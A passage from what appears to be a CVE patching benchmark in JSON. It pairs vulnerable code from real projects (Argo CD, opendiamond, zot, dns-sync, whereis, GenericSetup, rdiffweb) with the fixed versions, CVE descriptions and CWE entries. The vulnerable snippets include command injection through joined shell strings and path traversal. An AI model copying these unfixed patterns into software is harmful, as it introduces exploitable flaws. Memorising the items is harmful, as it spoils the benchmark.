{\n\t\t\thandleOIDCWorkflowResponse(ctx, &userSession, bodyJSON.TargetURL, bodyJSON.WorkflowID)\n\t\t} else {\n\t\t\tHandle1FAResponse(ctx, bodyJSON.TargetURL, bodyJSON.RequestMethod, userSession.Username, userSession.Groups)\n\t\t}\n\t}\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2025-24806" }, { "cve_id": "CVE-2023-22736", "cve_description": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Versions starting with 2.5.0-rc1 and above, prior to 2.5.8, and version 2.6.0-rc4, are vulnerable to an authorization bypass bug which allows a malicious Argo CD user to deploy Applications outside the configured allowed namespaces. Reconciled Application namespaces are specified as a comma-delimited list of glob patterns. When sharding is enabled on the Application controller, it does not enforce that list of patterns when reconciling Applications. For example, if Application namespaces are configured to be argocd-*, the Application controller may reconcile an Application installed in a namespace called other, even though it does not start with argocd-. Reconciliation of the out-of-bounds Application is only triggered when the Application is updated, so the attacker must be able to cause an update operation on the Application resource. This bug only applies to users who have explicitly enabled the \"apps-in-any-namespace\" feature by setting `application.namespaces` in the argocd-cmd-params-cm ConfigMap or otherwise setting the `--application-namespaces` flags on the Application controller and API server components. The apps-in-any-namespace feature is in beta as of this Security Advisory's publish date. The bug is also limited to Argo CD instances where sharding is enabled by increasing the `replicas` count for the Application controller. Finally, the AppProjects' `sourceNamespaces` field acts as a secondary check against this exploit. To cause reconciliation of an Application in an out-of-bounds namespace, an AppProject must be available which permits Applications in the out-of-bounds namespace. A patch for this vulnerability has been released in versions 2.5.8 and 2.6.0-rc5. As a workaround, running only one replica of the Application controller will prevent exploitation of this bug. Making sure all AppProjects' sourceNamespaces are restricted within the confines of the configured Application namespaces will also prevent exploitation of this bug.", "cwe_info": { "CWE-862": { "name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action." } }, "repo": "https://github.com/argoproj/argo-cd", "patch_url": [ "https://github.com/argoproj/argo-cd/commit/1f82078e7463228477e6c2cd959c14e7426c99d7", "https://github.com/argoproj/argo-cd/commit/9b6815f06f0f58ecd7240999e6b32cf16ebd0d9e" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_61_1", "commit": "16f2de0", "file_path": "./controller/appcontroller.go", "start_line": 1771, "end_line": 1791, "snippet": "func (ctrl *ApplicationController) canProcessApp(obj interface{}) bool {\n\tapp, ok := obj.(*appv1.Application)\n\tif !ok {\n\t\treturn false\n\t}\n\tif ctrl.clusterFilter != nil {\n\t\tcluster, err := ctrl.db.GetCluster(context.Background(), app.Spec.Destination.Server)\n\t\tif err != nil {\n\t\t\treturn ctrl.clusterFilter(nil)\n\t\t}\n\t\treturn ctrl.clusterFilter(cluster)\n\t}\n\n\t// Only process given app if it exists in a watched namespace, or in the\n\t// control plane's namespace.\n\tif app.Namespace != ctrl.namespace && !glob.MatchStringInList(ctrl.applicationNamespaces, app.Namespace, false) {\n\t\treturn false\n\t}\n\n\treturn true\n}", "vul_localization": [ { "patch_lines": [ 5 ], "tag": "add" }, { "patch_lines": [ 14, 15, 16, 17, 18 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_go_61_1", "commit": "9b6815f", "file_path": "./controller/appcontroller.go", "start_line": 1771, "end_line": 1792, "snippet": "func (ctrl *ApplicationController) canProcessApp(obj interface{}) bool {\n\tapp, ok := obj.(*appv1.Application)\n\tif !ok {\n\t\treturn false\n\t}\n\n\t// Only process given app if it exists in a watched namespace, or in the\n\t// control plane's namespace.\n\tif app.Namespace != ctrl.namespace && !glob.MatchStringInList(ctrl.applicationNamespaces, app.Namespace, false) {\n\t\treturn false\n\t}\n\n\tif ctrl.clusterFilter != nil {\n\t\tcluster, err := ctrl.db.GetCluster(context.Background(), app.Spec.Destination.Server)\n\t\tif err != nil {\n\t\t\treturn ctrl.clusterFilter(nil)\n\t\t}\n\t\treturn ctrl.clusterFilter(cluster)\n\t}\n\n\treturn true\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-22736" }, { "cve_id": "CVE-2022-31506", "cve_description": "The cmusatyalab/opendiamond repository through 10.1.1 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.", "cwe_info": { "CWE-73": { "name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations." }, "CWE-22": { "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory." } }, "repo": "https://github.com/cmusatyalab/opendiamond", "patch_url": [ "https://github.com/cmusatyalab/opendiamond/commit/398049c187ee644beabab44d6fece82251c1ea56" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_22_1", "commit": "d2f20ffff793f88335f2c0244679d7193295abe2", "file_path": "opendiamond/dataretriever/diamond_store.py", "start_line": 122, "end_line": 123, "snippet": "def _get_obj_absolute_path(obj_path):\n return os.path.join(DATAROOT, obj_path)", "vul_localization": [ { "patch_lines": [ 2 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_py_22_1", "commit": "398049c187ee644beabab44d6fece82251c1ea56", "file_path": "opendiamond/dataretriever/diamond_store.py", "start_line": 123, "end_line": 124, "snippet": "def _get_obj_absolute_path(obj_path):\n return safe_join(DATAROOT, obj_path)" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-31506" }, { "cve_id": "CVE-2025-48374", "cve_description": "zot is ancontainer image/artifact registry based on the Open Container Initiative Distribution Specification. Prior to version 2.1.3 (corresponding to pseudoversion 1.4.4-0.20250522160828-8a99a3ed231f), when using Keycloak as an oidc provider, the clientsecret gets printed into the container stdout logs for an example at container startup. Version 2.1.3 (corresponding to pseudoversion 1.4.4-0.20250522160828-8a99a3ed231f) fixes the issue.", "cwe_info": { "CWE-532": { "name": "Insertion of Sensitive Information into Log File", "description": "The product writes sensitive information to a log file." } }, "repo": "https://github.com/project-zot/zot", "patch_url": [ "https://github.com/project-zot/zot/commit/8a99a3ed231fdcd8467e986182b4705342b6a15e" ], "programing_language": "Go", "vul_func": [ { "id": "vul_go_74_1", "commit": "af4a46b", "file_path": "pkg/api/config/config.go", "start_line": "327", "end_line": "359", "snippet": "func (c *Config) Sanitize() *Config {\n\tsanitizedConfig := &Config{}\n\n\tif err := DeepCopy(c, sanitizedConfig); err != nil {\n\t\tpanic(err)\n\t}\n\n\tif c.HTTP.Auth != nil && c.HTTP.Auth.LDAP != nil && c.HTTP.Auth.LDAP.bindPassword != \"\" {\n\t\tsanitizedConfig.HTTP.Auth.LDAP = &LDAPConfig{}\n\n\t\tif err := DeepCopy(c.HTTP.Auth.LDAP, sanitizedConfig.HTTP.Auth.LDAP); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\tsanitizedConfig.HTTP.Auth.LDAP.bindPassword = \"******\"\n\t}\n\n\tif c.IsEventRecorderEnabled() {\n\t\tfor i, sink := range c.Extensions.Events.Sinks {\n\t\t\tif sink.Credentials == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif err := DeepCopy(&c.Extensions.Events.Sinks[i], &sanitizedConfig.Extensions.Events.Sinks[i]); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tsanitizedConfig.Extensions.Events.Sinks[i].Credentials.Password = \"******\"\n\t\t}\n\t}\n\n\treturn sanitizedConfig\n}", "vul_localization": [ { "patch_lines": [ 8, 9, 10, 11, 12, 13, 14, 15 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_go_74_1", "commit": "8a99a3e", "file_path": "pkg/api/config/config.go", "start_line": "327", "end_line": "381", "snippet": "func (c *Config) Sanitize() *Config {\n\tsanitizedConfig := &Config{}\n\n\tif err := DeepCopy(c, sanitizedConfig); err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Sanitize HTTP config\n\tif c.HTTP.Auth != nil {\n\t\t// Sanitize LDAP bind password\n\t\tif c.HTTP.Auth.LDAP != nil && c.HTTP.Auth.LDAP.bindPassword != \"\" {\n\t\t\tsanitizedConfig.HTTP.Auth.LDAP = &LDAPConfig{}\n\n\t\t\tif err := DeepCopy(c.HTTP.Auth.LDAP, sanitizedConfig.HTTP.Auth.LDAP); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tsanitizedConfig.HTTP.Auth.LDAP.bindPassword = \"******\"\n\t\t}\n\n\t\t// Sanitize OpenID client secrets\n\t\tif c.HTTP.Auth.OpenID != nil {\n\t\t\tsanitizedConfig.HTTP.Auth.OpenID = &OpenIDConfig{\n\t\t\t\tProviders: make(map[string]OpenIDProviderConfig),\n\t\t\t}\n\n\t\t\tfor provider, config := range c.HTTP.Auth.OpenID.Providers {\n\t\t\t\tsanitizedConfig.HTTP.Auth.OpenID.Providers[provider] = OpenIDProviderConfig{\n\t\t\t\t\tName: config.Name,\n\t\t\t\t\tClientID: config.ClientID,\n\t\t\t\t\tClientSecret: \"******\",\n\t\t\t\t\tKeyPath: config.KeyPath,\n\t\t\t\t\tIssuer: config.Issuer,\n\t\t\t\t\tScopes: config.Scopes,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif c.IsEventRecorderEnabled() {\n\t\tfor i, sink := range c.Extensions.Events.Sinks {\n\t\t\tif sink.Credentials == nil {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif err := DeepCopy(&c.Extensions.Events.Sinks[i], &sanitizedConfig.Extensions.Events.Sinks[i]); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\n\t\t\tsanitizedConfig.Extensions.Events.Sinks[i].Credentials.Password = \"******\"\n\t\t}\n\t}\n\n\treturn sanitizedConfig\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2025-48374" }, { "cve_id": "CVE-2017-16100", "cve_description": "dns-sync is a sync/blocking dns resolver. If untrusted user input is allowed into the resolve() method then command injection is possible.", "cwe_info": { "CWE-94": { "name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment." }, "CWE-77": { "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component." }, "CWE-78": { "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component." } }, "repo": "https://github.com/skoranga/node-dns-sync", "patch_url": [ "https://github.com/skoranga/node-dns-sync/commit/d9abaae384b198db1095735ad9c1c73d7b890a0d)))", "https://github.com/skoranga/node-dns-sync/commit/d9abaae384b198db1095735ad9c1c73d7b890a0d" ], "programing_language": "JavaScript", "vul_func": [ { "id": "vul_js_2_1", "commit": "b748fe77a87749d95876028eda8e759109be4c73", "file_path": "lib/dns-sync.js", "start_line": 14, "end_line": 30, "snippet": " resolve: function resolve(hostname) {\n var output,\n nodeBinary = process.execPath,\n scriptPath = path.join(__dirname, \"../scripts/dns-lookup-script\"),\n response,\n cmd = util.format('\"%s\" \"%s\" %s', nodeBinary, scriptPath, hostname);\n\n response = shell.exec(cmd, {silent: true});\n if (response && response.code === 0) {\n output = response.output;\n if (output && net.isIP(output)) {\n return output;\n }\n }\n debug('hostname', \"fail to resolve hostname \" + hostname);\n return null;\n }", "vul_localization": [ { "patch_lines": [ 3, 4 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_js_2_1", "commit": "d9abaae384b198db1095735ad9c1c73d7b890a0d", "file_path": "lib/dns-sync.js", "start_line": 20, "end_line": 42, "snippet": " resolve: function resolve(hostname) {\n var output,\n nodeBinary = process.execPath;\n\n if (!isValidHostName(hostname)) {\n console.error('Invalid hostname:', hostname);\n return null;\n }\n\n var scriptPath = path.join(__dirname, \"../scripts/dns-lookup-script\"),\n response,\n cmd = util.format('\"%s\" \"%s\" %s', nodeBinary, scriptPath, hostname);\n\n response = shell.exec(cmd, {silent: true});\n if (response && response.code === 0) {\n output = response.output;\n if (output && net.isIP(output)) {\n return output;\n }\n }\n debug('hostname', \"fail to resolve hostname \" + hostname);\n return null;\n }" }, { "id": "fix_js_2_1", "commit": "d9abaae384b198db1095735ad9c1c73d7b890a0d", "file_path": "lib/dns-sync.js", "start_line": 10, "end_line": 14, "snippet": "var ValidHostnameRegex = new RegExp(\"^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\\-]*[A-Za-z0-9])$\");\n\nfunction isValidHostName(hostname) {\n return ValidHostnameRegex.test(hostname);\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2017-16100" }, { "cve_id": "CVE-2021-21360", "cve_description": "Products.GenericSetup is a mini-framework for expressing the configured state of a Zope Site as a set of filesystem artifacts. In Products.GenericSetup before version 2.1.1 there is an information disclosure vulnerability - anonymous visitors may view log and snapshot files generated by the Generic Setup Tool. The problem has been fixed in version 2.1.1. Depending on how you have installed Products.GenericSetup, you should change the buildout version pin to 2.1.1 and re-run the buildout, or if you used pip simply do pip install `\"Products.GenericSetup>=2.1.1\"`.", "cwe_info": { "CWE-200": { "name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information." } }, "repo": "https://github.com/zopefoundation/Products.GenericSetup", "patch_url": [ "https://github.com/zopefoundation/Products.GenericSetup/commit/700319512b3615b3871a1f24e096cf66dc488c57" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_51_1", "commit": "835c1ac", "file_path": "src/Products/GenericSetup/context.py", "start_line": 482, "end_line": 501, "snippet": " def writeDataFile(self, filename, text, content_type, subdir=None):\n \"\"\" See IExportContext.\n \"\"\"\n if subdir is not None:\n filename = '/'.join((subdir, filename))\n\n sep = filename.rfind('/')\n if sep != -1:\n subdir = filename[:sep]\n filename = filename[sep+1:]\n\n if six.PY2 and isinstance(text, six.text_type):\n encoding = self.getEncoding() or 'utf-8'\n text = text.encode(encoding)\n\n folder = self._ensureSnapshotsFolder(subdir)\n\n # MISSING: switch on content_type\n ob = self._createObjectByType(filename, text, content_type)\n folder._setObject(str(filename), ob) # No Unicode IDs!", "vul_localization": [ { "patch_lines": [ 20 ], "tag": "add" } ] }, { "id": "vul_py_51_2", "commit": "835c1ac", "file_path": "src/Products/GenericSetup/context.py", "start_line": 547, "end_line": 565, "snippet": " def _ensureSnapshotsFolder(self, subdir=None):\n \"\"\" Ensure that the appropriate snapshot folder exists.\n \"\"\"\n path = ['snapshots', self._snapshot_id]\n\n if subdir is not None:\n path.extend(subdir.split('/'))\n\n current = self._tool\n\n for element in path:\n\n if element not in current.objectIds():\n # No Unicode IDs!\n current._setObject(str(element), Folder(element))\n\n current = current._getOb(element)\n\n return current", "vul_localization": [ { "patch_lines": [ 17 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_py_51_1", "commit": "700319512b3615b3871a1f24e096cf66dc488c57", "file_path": "src/Products/GenericSetup/context.py", "start_line": 483, "end_line": 506, "snippet": " def writeDataFile(self, filename, text, content_type, subdir=None):\n \"\"\" See IExportContext.\n \"\"\"\n if subdir is not None:\n filename = '/'.join((subdir, filename))\n\n sep = filename.rfind('/')\n if sep != -1:\n subdir = filename[:sep]\n filename = filename[sep+1:]\n\n if six.PY2 and isinstance(text, six.text_type):\n encoding = self.getEncoding() or 'utf-8'\n text = text.encode(encoding)\n\n folder = self._ensureSnapshotsFolder(subdir)\n\n # MISSING: switch on content_type\n ob = self._createObjectByType(filename, text, content_type)\n folder._setObject(str(filename), ob) # No Unicode IDs!\n # Tighten the View permission on the new object.\n # Only the owner and Manager users may view the log.\n # file_ob = self._getOb(name)\n ob.manage_permission(view, ('Manager', 'Owner'), 0)" }, { "id": "fix_py_51_2", "commit": "700319512b3615b3871a1f24e096cf66dc488c57", "file_path": "src/Products/GenericSetup/context.py", "start_line": 552, "end_line": 572, "snippet": " def _ensureSnapshotsFolder(self, subdir=None):\n \"\"\" Ensure that the appropriate snapshot folder exists.\n \"\"\"\n path = ['snapshots', self._snapshot_id]\n\n if subdir is not None:\n path.extend(subdir.split('/'))\n\n current = self._tool\n\n for element in path:\n\n if element not in current.objectIds():\n # No Unicode IDs!\n current._setObject(str(element), Folder(element))\n current = current._getOb(element)\n current.manage_permission(view, ('Manager', 'Owner'), 0)\n else:\n current = current._getOb(element)\n\n return current" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-21360" }, { "cve_id": "CVE-2018-3772", "cve_description": "Concatenating unsanitized user input in the `whereis` npm module < 0.4.1 allowed an attacker to execute arbitrary commands. The `whereis` module is deprecated and it is recommended to use the `which` npm module instead.", "cwe_info": { "CWE-94": { "name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment." }, "CWE-77": { "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component." }, "CWE-78": { "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component." } }, "repo": "https://github.com/vvo/node-whereis", "patch_url": [ "https://github.com/vvo/node-whereis/commit/0f64e3780235004fb6e43bfd153ea3e0e210ee2b" ], "programing_language": "JavaScript", "vul_func": [ { "id": "vul_js_17_1", "commit": "b8b642b", "file_path": "index.js", "start_line": 3, "end_line": 31, "snippet": "module.exports = function whereis(name, cb) {\n cp.exec('which ' + name, function(error, stdout, stderr) {\n stdout = stdout.split('\\n')[0];\n if (error || stderr || stdout === '' || stdout.charAt(0) !== '/') {\n stdout = stdout.split('\\n')[0];\n cp.exec('whereis ' + name, function(error, stdout, stderr) {\n if (error || stderr || stdout === '' || stdout.indexOf( '/' ) === -1) {\n cp.exec('where ' + name, function (error, stdout, stderr) { //windows\n if (error || stderr || stdout === '' || stdout.indexOf('\\\\') === -1) {\n cp.exec('for %i in (' + name + '.exe) do @echo. %~$PATH:i', function (error, stdout, stderr) { //windows xp\n if (error || stderr || stdout === '' || stdout.indexOf('\\\\') === -1) {\n return cb(new Error('Could not find ' + name + ' on your system'));\n }\n return cb(null, stdout);\n });\n } else {\n return cb(null, stdout);\n }\n });\n }\n else {\n return cb(null, stdout.split(' ')[1]);\n }\n });\n } else {\n return cb(null, stdout);\n }\n });\n};", "vul_localization": [ { "patch_lines": [ 2, 6, 8 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_js_17_1", "commit": "0f64e37", "file_path": "index.js", "start_line": 3, "end_line": 31, "snippet": "module.exports = function whereis(name, cb) {\n cp.execFile('which', [name], function(error, stdout, stderr) {\n stdout = stdout.split('\\n')[0];\n if (error || stderr || stdout === '' || stdout.charAt(0) !== '/') {\n stdout = stdout.split('\\n')[0];\n cp.execFile('whereis', [name], function(error, stdout, stderr) {\n if (error || stderr || stdout === '' || stdout.indexOf( '/' ) === -1) {\n cp.execFile('where', [name], function (error, stdout, stderr) { //windows\n if (error || stderr || stdout === '' || stdout.indexOf('\\\\') === -1) {\n cp.exec('for %i in (' + name + '.exe) do @echo. %~$PATH:i', function (error, stdout, stderr) { //windows xp\n if (error || stderr || stdout === '' || stdout.indexOf('\\\\') === -1) {\n return cb(new Error('Could not find ' + name + ' on your system'));\n }\n return cb(null, stdout);\n });\n } else {\n return cb(null, stdout);\n }\n });\n }\n else {\n return cb(null, stdout.split(' ')[1]);\n }\n });\n } else {\n return cb(null, stdout);\n }\n });\n};" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2018-3772" }, { "cve_id": "CVE-2022-4724", "cve_description": "Improper Access Control in GitHub repository ikus060/rdiffweb prior to 2.5.5.", "cwe_info": { "CWE-284": { "name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor." } }, "repo": "https://github.com/ikus060/rdiffweb", "patch_url": [ "https://github.com/ikus060/rdiffweb/commit/c4a19cf67d575c4886171b8efcbf4675d51f3929" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_54_1", "commit": "d1aaa96", "file_path": "rdiffweb/core/model/__init__.py", "start_line": 70, "end_line": 139, "snippet": "@event.listens_for(Base.metadata, 'after_create')\ndef db_after_create(target, connection, **kw):\n \"\"\"\n Called on database creation to update database schema.\n \"\"\"\n\n if getattr(connection, '_transaction', None):\n connection._transaction.commit()\n\n # Add repo's Encoding\n _column_add(connection, RepoObject.__table__.c.Encoding)\n _column_add(connection, RepoObject.__table__.c.keepdays)\n\n # Create column for roles using \"isadmin\" column. Keep the\n # original column in case we need to revert to previous version.\n if not _column_exists(connection, UserObject.__table__.c.role):\n _column_add(connection, UserObject.__table__.c.role)\n UserObject.query.filter(UserObject._is_admin == 1).update({UserObject.role: UserObject.ADMIN_ROLE})\n\n # Add user's fullname column\n _column_add(connection, UserObject.__table__.c.fullname)\n\n # Add user's mfa column\n _column_add(connection, UserObject.__table__.c.mfa)\n\n # Re-create session table if Number column is missing\n if not _column_exists(connection, SessionObject.__table__.c.Number):\n SessionObject.__table__.drop()\n SessionObject.__table__.create()\n\n if getattr(connection, '_transaction', None):\n connection._transaction.commit()\n\n # Remove preceding and leading slash (/) generated by previous\n # versions. Also rename '.' to ''\n result = RepoObject.query.all()\n for row in result:\n if row.repopath.startswith('/') or row.repopath.endswith('/'):\n row.repopath = row.repopath.strip('/')\n row.commit()\n if row.repopath == '.':\n row.repopath = ''\n row.commit()\n # Remove duplicates and nested repositories.\n result = RepoObject.query.order_by(RepoObject.userid, RepoObject.repopath).all()\n prev_repo = (None, None)\n for row in result:\n if prev_repo[0] == row.userid and (prev_repo[1] == row.repopath or row.repopath.startswith(prev_repo[1] + '/')):\n row.delete()\n else:\n prev_repo = (row.userid, row.repopath)\n\n # Fix username case insensitive unique\n if not _index_exists(connection, 'user_username_index'):\n duplicate_users = (\n UserObject.query.with_entities(func.lower(UserObject.username))\n .group_by(func.lower(UserObject.username))\n .having(func.count(UserObject.username) > 1)\n ).all()\n try:\n user_username_index.create()\n except IntegrityError:\n msg = (\n 'Failure to upgrade your database to make Username case insensitive. '\n 'You must downgrade and deleted duplicate Username. '\n '%s' % '\\n'.join([str(k) for k in duplicate_users]),\n )\n logger.error(msg)\n print(msg, file=sys.stderr)\n raise SystemExit(12)", "vul_localization": [ { "patch_lines": [ 69 ], "tag": "add" } ] }, { "id": "vul_py_54_2", "commit": "d1aaa96", "file_path": "rdiffweb/core/model/_user.py", "start_line": 153, "end_line": 185, "snippet": " def add_authorizedkey(self, key, comment=None):\n \"\"\"\n Add the given key to the user. Adding the key to his `authorized_keys`\n file if it exists and adding it to database.\n \"\"\"\n # Parse and validate ssh key\n assert key\n key = authorizedkeys.check_publickey(key)\n\n # Remove option, replace comments.\n key = authorizedkeys.AuthorizedKey(\n options=None, keytype=key.keytype, key=key.key, comment=comment or key.comment\n )\n\n # If a filename exists, use it by default.\n filename = os.path.join(self.user_root, '.ssh', 'authorized_keys')\n if os.path.isfile(filename):\n with open(filename, mode=\"r+\", encoding='utf-8') as fh:\n if authorizedkeys.exists(fh, key):\n raise DuplicateSSHKeyError(_(\"SSH key already exists\"))\n logger.info(\"add key [%s] to [%s] authorized_keys\", key, self.username)\n authorizedkeys.add(fh, key)\n else:\n # Also look in database.\n logger.info(\"add key [%s] to [%s] database\", key, self.username)\n try:\n SshKey(userid=self.userid, fingerprint=key.fingerprint, key=key.getvalue()).add().flush()\n except IntegrityError:\n raise DuplicateSSHKeyError(\n _(\"Duplicate key. This key already exists or is associated to another user.\")\n )\n cherrypy.engine.publish('user_attr_changed', self, {'authorizedkeys': True})\n cherrypy.engine.publish('authorizedkey_added', self, fingerprint=key.fingerprint, comment=comment)", "vul_localization": [ { "patch_lines": [ 27 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_py_54_1", "commit": "c4a19cf", "file_path": "rdiffweb/core/model/__init__.py", "start_line": 71, "end_line": 158, "snippet": "def db_after_create(target, connection, **kw):\n \"\"\"\n Called on database creation to update database schema.\n \"\"\"\n\n if getattr(connection, '_transaction', None):\n connection._transaction.commit()\n\n # Add repo's Encoding\n _column_add(connection, RepoObject.__table__.c.Encoding)\n _column_add(connection, RepoObject.__table__.c.keepdays)\n\n # Create column for roles using \"isadmin\" column. Keep the\n # original column in case we need to revert to previous version.\n if not _column_exists(connection, UserObject.__table__.c.role):\n _column_add(connection, UserObject.__table__.c.role)\n UserObject.query.filter(UserObject._is_admin == 1).update({UserObject.role: UserObject.ADMIN_ROLE})\n\n # Add user's fullname column\n _column_add(connection, UserObject.__table__.c.fullname)\n\n # Add user's mfa column\n _column_add(connection, UserObject.__table__.c.mfa)\n\n # Re-create session table if Number column is missing\n if not _column_exists(connection, SessionObject.__table__.c.Number):\n SessionObject.__table__.drop()\n SessionObject.__table__.create()\n\n if getattr(connection, '_transaction', None):\n connection._transaction.commit()\n\n # Remove preceding and leading slash (/) generated by previous\n # versions. Also rename '.' to ''\n result = RepoObject.query.all()\n for row in result:\n if row.repopath.startswith('/') or row.repopath.endswith('/'):\n row.repopath = row.repopath.strip('/')\n row.commit()\n if row.repopath == '.':\n row.repopath = ''\n row.commit()\n # Remove duplicates and nested repositories.\n result = RepoObject.query.order_by(RepoObject.userid, RepoObject.repopath).all()\n prev_repo = (None, None)\n for row in result:\n if prev_repo[0] == row.userid and (prev_repo[1] == row.repopath or row.repopath.startswith(prev_repo[1] + '/')):\n row.delete()\n else:\n prev_repo = (row.userid, row.repopath)\n\n # Fix username case insensitive unique\n if not _index_exists(connection, 'user_username_index'):\n duplicate_users = (\n UserObject.query.with_entities(func.lower(UserObject.username))\n .group_by(func.lower(UserObject.username))\n .having(func.count(UserObject.username) > 1)\n ).all()\n try:\n user_username_index.create()\n except IntegrityError:\n msg = (\n 'Failure to upgrade your database to make Username case insensitive. '\n 'You must downgrade and deleted duplicate Username. '\n '%s' % '\\n'.join([str(k) for k in duplicate_users]),\n )\n logger.error(msg)\n print(msg, file=sys.stderr)\n raise SystemExit(12)\n\n # Fix SSH Key uniqueness - since 2.5.4\n if not _index_exists(connection, 'sshkey_fingerprint_index'):\n duplicate_sshkeys = (\n SshKey.query.with_entities(SshKey.fingerprint)\n .group_by(SshKey.fingerprint)\n .having(func.count(SshKey.fingerprint) > 1)\n ).all()\n try:\n sshkey_fingerprint_index.create()\n except IntegrityError:\n msg = (\n 'Failure to upgrade your database to make SSH Keys unique. '\n 'You must downgrade and deleted duplicate SSH Keys. '\n '%s' % '\\n'.join([str(k) for k in duplicate_sshkeys]),\n )\n logger.error(msg)\n print(msg, file=sys.stderr)\n raise SystemExit(12)" }, { "id": "fix_py_54_2", "commit": "c4a19cf", "file_path": "rdiffweb/core/model/_sshkey.py", "start_line": 24, "end_line": 33, "snippet": "class SshKey(Base):\n __tablename__ = 'sshkeys'\n __table_args__ = {'sqlite_autoincrement': True}\n fingerprint = Column('Fingerprint', Text)\n key = Column('Key', Text, unique=True, primary_key=True)\n userid = Column('UserID', Integer, nullable=False)\n\n\n# Make finger print unique\nsshkey_fingerprint_index = Index('sshkey_fingerprint_index', SshKey.fingerprint, unique=True)" }, { "id": "fix_py_54_3", "commit": "c4a19cf", "file_path": "rdiffweb/core/model/_user.py", "start_line": 153, "end_line": 186, "snippet": " def add_authorizedkey(self, key, comment=None):\n \"\"\"\n Add the given key to the user. Adding the key to his `authorized_keys`\n file if it exists and adding it to database.\n \"\"\"\n # Parse and validate ssh key\n assert key\n key = authorizedkeys.check_publickey(key)\n\n # Remove option & Remove comment for SQL storage\n key = authorizedkeys.AuthorizedKey(\n options=None, keytype=key.keytype, key=key.key, comment=comment or key.comment\n )\n\n # If a filename exists, use it by default.\n filename = os.path.join(self.user_root, '.ssh', 'authorized_keys')\n if os.path.isfile(filename):\n with open(filename, mode=\"r+\", encoding='utf-8') as fh:\n if authorizedkeys.exists(fh, key):\n raise DuplicateSSHKeyError(_(\"SSH key already exists\"))\n logger.info(\"add key [%s] to [%s] authorized_keys\", key, self.username)\n authorizedkeys.add(fh, key)\n else:\n # Also look in database.\n logger.info(\"add key [%s] to [%s] database\", key, self.username)\n try:\n sshkey = SshKey(userid=self.userid, fingerprint=key.fingerprint, key=key.getvalue())\n sshkey.add().flush()\n except IntegrityError:\n raise DuplicateSSHKeyError(\n _(\"Duplicate key. This key already exists or is associated to another user.\")\n )\n cherrypy.engine.publish('user_attr_changed', self, {'authorizedkeys': True})\n cherrypy.engine.publish('authorizedkey_added', self, fingerprint=key.fingerprint, comment=comment)" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-4724" }, { "cve_id": "CVE-2023-25165", "cve_description": "Helm is a tool that streamlines installing and managing Kubernetes applications.`getHostByName` is a Helm template function introduced in Helm v3. The function is able to accept a hostname and return an IP address for that hostname. To get the IP address the function performs a DNS lookup. The DNS lookup happens when used with `helm install|upgrade|template` or when the Helm SDK is used to render a chart. Information passed into the chart can be disclosed to the DNS servers used to lookup the IP address. For example, a malicious chart could inject `getHostByName` into a chart in order to disclose values to a malicious DNS server. The issue has been fixed in Helm 3.11.1. Prior to using a chart with Helm verify the 